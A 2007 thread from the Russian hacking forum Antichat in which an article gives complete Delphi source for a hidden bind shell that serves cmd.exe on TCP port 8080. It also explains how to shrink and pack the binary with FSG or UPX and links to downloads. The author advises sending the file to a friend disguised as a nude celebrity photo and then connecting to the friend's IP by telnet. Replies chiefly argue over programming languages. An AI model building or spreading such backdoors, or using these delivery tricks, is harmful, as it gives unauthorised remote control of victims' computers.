Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   MiniShell или мусорный код делфи. (https://forum.antichat.xyz/showthread.php?t=38396)

zl0y 20.04.2007 11:11

MiniShell или мусорный код делфи.
 
Приступим....
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
Итак поехали!

Инструменты: Delphi3, Restorator 2007, Migeel's Realigner и FSG 2.0(можно другой).

Теперь разберем каждый инструмент по частям:

1)От делфи на ничего не нужно кроме DCC32.exe,windows.pas,winsock.pas.

2)Restorator,незнаю какую траву курил борланд когда писал делфи но факт того,что в .exe пишется совершенно бесполезная секция которая содержит информация о подключенных модулях при компиляции,гордое имя её(.RCDATA).

3)Migeel's Realigner - утилита для удаления таблицы релокаций в нашем случае таблица может быть удалена.

4)Пакер мой выбор пал на FSG(качаем с http://www.xtreeme.prv.pl).

Приступим как вы уже наверно догадались...мы будем писать шелл ;)

Почему не си со всеми его плюсами? Потому что на мой взгляд делфи легче в изучении и не уступает по возможностям и иногда и обгоняет :)

Что то я все отвлекаюсь ... приведу код шелла который был составлен мною после недолгих экспериментов :)
Цитата:

program Minishell;

uses
windows,WinSock;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';

var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;

begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
Компилируем .... если вы не слепой инвалид с палочкой :D то вы наверно заметите в папке с исходником .exe файл размером (14 848 байт) Отлично скажете вы ! - Я отвечу нет ! Мы способны на большое и сейчас мы попытаемся выжать это всё из себя... Вы конечно скажете ща возму пакер и упакую ... но все равно размера менее 10 kb вы недобьётесь! Мы же поступим другим способом.

Далее рекомендую производить всю операцию по этапам,чтобы избежать ошибок !

1)Компилируем наш исходный код проекта в .exe файл.

2)Запускаем Restorator 2007 и удаляем больше ненужную нам секцию с гордым именем "RCData".

3)Используем Migeel's Realigner с параметром командной строки(realign MiniShell.exe),чтобы удалить таблицы релокаций ...которые так насильно создает делфи :p

4)Запакуем файл FSG.

Если вы все сделали правильно,то в вашей папке появиться .exe файл размером в: (7 293 байт)

Настало время для тестирования нашего шелла!
Здесь необходимо проявить фантазию кинув его другу под видом фотки голой бритни спирс :D

А далее дело уже секундное...
Пуск>>Выполнить>> cmd
Далее появиться окно наберем в нем telnet 127.0.0.1 8080. Готово сэр ! :p Вместо 127.0.0.1 конечно должен стоять ип-адрес вашего друга.

Дальше опишу второй метод но только здесь без обид .exe и исходники не дам ! Это так для коллекции :p

Результатом следующих действий стал шелл размером в 2416 байт ! Только вдумайтесь в эти цифры! Кто там пишет на VCL (380 kb) :D

Что,я использовал для получения такого результата:
1)Использование прямых вызовов к фунциям dll
2)Код на чистых asm вставках !
4)Компиллер Delphi3
5)MicroSoft линковщик или просто LINK.exe
6)Restorator 2007
7)Migeel's Realigner
8)fakecom.com переконвертурвует наш файл в .com это связанно с тем что .com файлы они же приложения MS-DOS не имеют заголовка PE файла это нам только на руку :o
9)UPX 2.93w упакует наш файл :)

Ну и наконец мы будем иметь шелл размером в 2416 байт :rolleyes:

В заключении хочу сказать что не стоит гнать на делфи пургу,так как этот путь даже и большой инструмент при умелом подходе,становиться отличным применением своих знаний готовых покорять все новые горизонты программирования ! Удачи вам в вашей деятельности чем бы вы не занимались ;) Ну вот и все :cool:

Примеры к статье(исходник,утилиты).
http://slil.ru/24264071

При перепечатывании а также копировании данной статьи ссылка на автора(меня) и первоисточник обязательна !

iv. 20.04.2007 11:18

Цитата:

Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
ну да, давай ещё расскажем что "вижуал бейсик" ничуть не хуже ассемблера..работа с сокетами-то везде практически аналогичная. =)
а так в общем-то ничего.

неплохо было бы оформить по-красивше.

nerezus 20.04.2007 11:26

На C++ код будет не меньше.

А вот на C или асме.... ;)


У каждого инструмента есть своя область применения. Да, гвозди можно забивать и микроскопом. И гуй на пхп можно писать. И сайты на асме делать. Но... ;)

zl0y 20.04.2007 11:30

Цитата:

nerezus
Надо будет попробывать на асм переписать ;)

Zitt 20.04.2007 13:13

Дельфи рулит))) +1. Мне как раз такое нужно...

salamandra 20.04.2007 15:49

:) На асме этот код будет 1,5 кб,а можно сделать ещё меньше!Это я о том что каждый язык программирования заточен под определённые задачи и лишнии извращения просто не к чему!

Spyder 20.04.2007 15:52

хочу сайт на асме =\
Аффтору плюс

nerezus 20.04.2007 17:59

Цитата:

хочу сайт на асме =\
Я делал. Потом на никсовом серваке через WINE и bash к апачу как CGI подключал ))

=)

zl0y 09.05.2007 14:20

Немного поковырял исходники уменьшил размер ! Теперь он весит 2,25 КБ (2 313 байт)

Качаем:http://slil.ru/24348370

ZirroCool 21.10.2007 04:27

Ребят походу этот шел не совсем так работает!у мну лично пытаюсь подконектиться и он разворачиват цмд не на том компе с которого я конектюсь а на том на котоом запущен сервак!Походу это полный пипец вы та не думаете?Поправьте меня если я не прав и если не сложно покажите как должно быть на самом деле!


Время: 22:17